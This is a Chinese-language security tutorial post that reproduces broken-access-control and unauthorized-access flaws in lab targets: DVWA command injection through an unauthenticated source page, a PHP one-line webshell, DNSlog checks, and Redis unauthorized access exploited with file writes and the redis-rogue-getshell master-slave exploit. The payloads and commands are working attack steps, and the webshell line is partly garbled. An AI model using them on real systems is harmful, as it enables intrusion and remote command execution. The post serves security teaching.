失效的访问控制及漏洞复现

失效的访问控制(越权)

1. 失效的访问控制(越权)

1.1 OWASP TOP10

1.1.1 A5:2017-Broken Access Control

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用

1.2.2 垂直越权

提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77

ip=127.0.0.0.1|echo+""+>+shell.php&Submit=Submit

1.3.1.1 实操

在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)

启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1

使用bp进行抓包,抓取命令注入的数据包,发送重发器

失效的访问控制及漏洞复现_第1张图片

发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑

command1 & command2		#执行command1命令没有问题的时候再执行command2
command1 | command2		#管道符执行command1的结果作为command2的输入
command1 || command2	#command1执行失败则执行command2,command1执行成功则不执行command2
command1 ; command2		#command1执行结束再执行command2

执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u

image-20230901163917755

image-20230901164127912

点击发送(send)

失效的访问控制及漏洞复现_第2张图片

发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中

失效的访问控制及漏洞复现_第3张图片

打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。

失效的访问控制及漏洞复现_第4张图片

复制low.php的路径,退出DVWA登陆,访问

http://192.168.16.136/dv/vulnerabilities/exec/source/low.php

失效的访问控制及漏洞复现_第5张图片

界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。

失效的访问控制及漏洞复现_第6张图片

删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。

失效的访问控制及漏洞复现_第7张图片

返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。

失效的访问控制及漏洞复现_第8张图片

dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)

1.3.1.2 使用漏洞写webshell

执行

echo xujie >xujie.txt

image-20230901173405179

来到/exec/source目录下,有新建的xujie.txt文件。

失效的访问控制及漏洞复现_第9张图片

image-20230901173650253

一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析

nslookup 域名

失效的访问控制及漏洞复现_第10张图片

失效的访问控制及漏洞复现_第11张图片

image-20230901174932455

失效的访问控制及漏洞复现_第12张图片

解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。

创建一句话木马

echo "$_REQUEST[777])?>" >shell.php

image-20230901175639502

失效的访问控制及漏洞复现_第13张图片

访问shell.php,然后使用蚁剑连接

失效的访问控制及漏洞复现_第14张图片

失效的访问控制及漏洞复现_第15张图片

1.4 相关漏洞

1.4.1 目录遍历

目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2 未授权访问

未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

2. 未授权访问

2.1 Redis 未授权访问

不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;

2.1.1 Redis 介绍

Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379

Redis数据库端口号:6379

2.1.2 Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容 读写系统文件 执行系统命令
数据泄露 直接写WebShell
计划任务反弹shell
SSH免密登录
redis-rogue-getshell

2.2 Redis 实操

2.2.1 环境搭建

CD到/vulhub/redis/4-unacc目录下,输入

sudo docker-compose up -d

打开Redis环境

失效的访问控制及漏洞复现_第16张图片

2.2.2 漏洞利用

sudo docker ps -a

查看端口号

image-20230901195308070

输入

redis-cli -h 127.0.0.1		#-h指定参数,连接本机的reids数据库

在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。

image-20230901195442400

redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。

config set dir /tmp/
config set dbfilename xujie.txt		#将数据库存储在xujie.txt文件中,这个文件在tmp下

失效的访问控制及漏洞复现_第17张图片

因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。

sudo docker exec -it 9a4f956818dc /bin/bash		#-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器

为了证明创建的数据库是否存在并且具有读写权限。

ls /tmp
cat /tmp/xujie.txt

失效的访问控制及漏洞复现_第18张图片

4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本

失效的访问控制及漏洞复现_第19张图片

cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

失效的访问控制及漏洞复现_第20张图片

cd redis-rogue-getshell
cd RedisModulesSDK 
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

失效的访问控制及漏洞复现_第21张图片

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

失效的访问控制及漏洞复现_第22张图片

此处可以针对数据库的漏洞进行漏洞利用

2.2.3 漏洞检测

利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测

cd ~/tools
ls 
cd unauthorized_com 
python3 unauthorized_com.py -i 127.0.0.1

你可能感兴趣的:(网络安全,安全,web安全,php,安全架构)